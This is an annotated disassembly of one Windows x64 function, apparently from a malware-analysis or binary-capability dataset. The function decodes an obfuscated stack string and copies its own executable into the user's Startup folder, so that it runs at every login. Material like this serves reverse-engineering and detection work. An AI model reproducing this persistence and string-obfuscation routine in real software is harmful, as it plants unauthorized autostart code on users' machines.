Function at 0x140049f70
Capabilities:
Contain obfuscated stackstrings
Copy file
Get common file path
Get startup folder
Write file to startup folder

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x408]
sub rsp, 0x500
mov qword [rbp - 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x140127190]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
mov r8d, 0x104
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14004a339
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x31], 0x69
mov byte [rsp + 0x32], 0x59
mov byte [rsp + 0x33], 0x74
mov byte [rsp + 0x34], 0x59
mov byte [rsp + 0x35], 0x34
mov byte [rsp + 0x36], 0x59
mov byte [rsp + 0x37], 0x12
mov byte [rsp + 0x38], 0x59
mov byte [rsp + 0x39], 0x1c
mov byte [rsp + 0x3a], 0x59
mov byte [rsp + 0x3b], 0x61
mov byte [rsp + 0x3c], 0x59
mov byte [rsp + 0x3d], 0x5a
mov byte [rsp + 0x3e], 0x59
mov byte [rsp + 0x3f], 0x10
mov byte [rsp + 0x40], 0x59
mov byte [rsp + 0x41], 0x5a
mov byte [rsp + 0x42], 0x59
mov byte [rsp + 0x43], 0x59
mov byte [rsp + 0x44], 0x59
movzx eax, byte [rsp + 0x31]
movzx eax, byte [rsp + 0x30]
xor r14d, r14d
test al, al
jne 0x14004a0b1
mov r8d, r14d
movzx ecx, byte [rsp + r8 + 0x31]
mov eax, 0x59
sub eax, ecx
imul ecx, eax, 0x1a
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x31], cl
inc r8
cmp r8, 0x14
jb 0x14004a060
movdqa xmm0, xmmword [0x1401087a0]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], r14w
lea rax, [rsp + 0x31]
mov rdi, 0xffffffffffffffff
mov rdx, rdi
inc rdx
cmp word [rax + rdx*2], r14w
jne 0x14004a0d4
lea rcx, [rsp + 0x68]
cmp rdx, 7
ja 0x14004a107
mov qword [rsp + 0x78], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rsp + 0x31]
call fcn.14009a510
mov word [rsp + rbx + 0x68], r14w
jmp 0x14004a112
lea r9, [rsp + 0x31]
call fcn.14002d410
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x78]
call fcn.140040080
mov rsi, rax
movdqa xmm0, xmmword [0x1401087a0]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], r14w
lea rax, [rbp - 0x30]
nop dword [rax + rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x14004a140
lea rcx, [rsp + 0x48]
cmp rdi, 7
ja 0x14004a172
mov qword [rsp + 0x58], rdi
lea rbx, [rdi + rdi]
mov r8, rbx
lea rdx, [rbp - 0x30]
call fcn.14009a510
mov word [rsp + rbx + 0x48], r14w
jmp 0x14004a17f
lea r9, [rbp - 0x30]
mov rdx, rdi
call fcn.14002d410
nop
mov r8, qword [rsi + 0x10]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
mov r9, qword [rsp + 0x58]
sub rax, r9
cmp r8, rax
jbe 0x14004a1bd
mov rax, qword [rsi + 0x18]
sub rax, r8
cmp rax, r9
jb 0x14004a1bd
lea r8, [rsp + 0x48]
cmp rcx, 8
cmovae r8, qword [rsp + 0x48]
mov rcx, rsi
call fcn.140032050
jmp 0x14004a1d4
cmp qword [rsi + 0x18], 8
jb 0x14004a1c7
mov rsi, qword [rsi]
mov rdx, rsi
lea rcx, [rsp + 0x48]
call fcn.14002b210
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x14004a235
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a230
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a36b
call fcn.1400765f0
movdqa xmm0, xmmword [0x1401087a0]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], r14w
mov rdx, qword [rbp - 0x60]
cmp rdx, 8
jb 0x14004a289
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a284
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a371
call fcn.1400765f0
movdqa xmm0, xmmword [0x1401087a0]
movdqu xmmword [rbp - 0x68], xmm0
mov word [rbp - 0x78], r14w
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x14004a2dc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a2d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a377
call fcn.1400765f0
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rdx, qword [rbp - 0x50]
mov r8d, 1
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x14004a339
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a334
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a365
call fcn.1400765f0
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.140076590
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400a3864
nop
call fcn.1400a3864
nop
call fcn.1400a3864
nop
call fcn.1400a3864
int3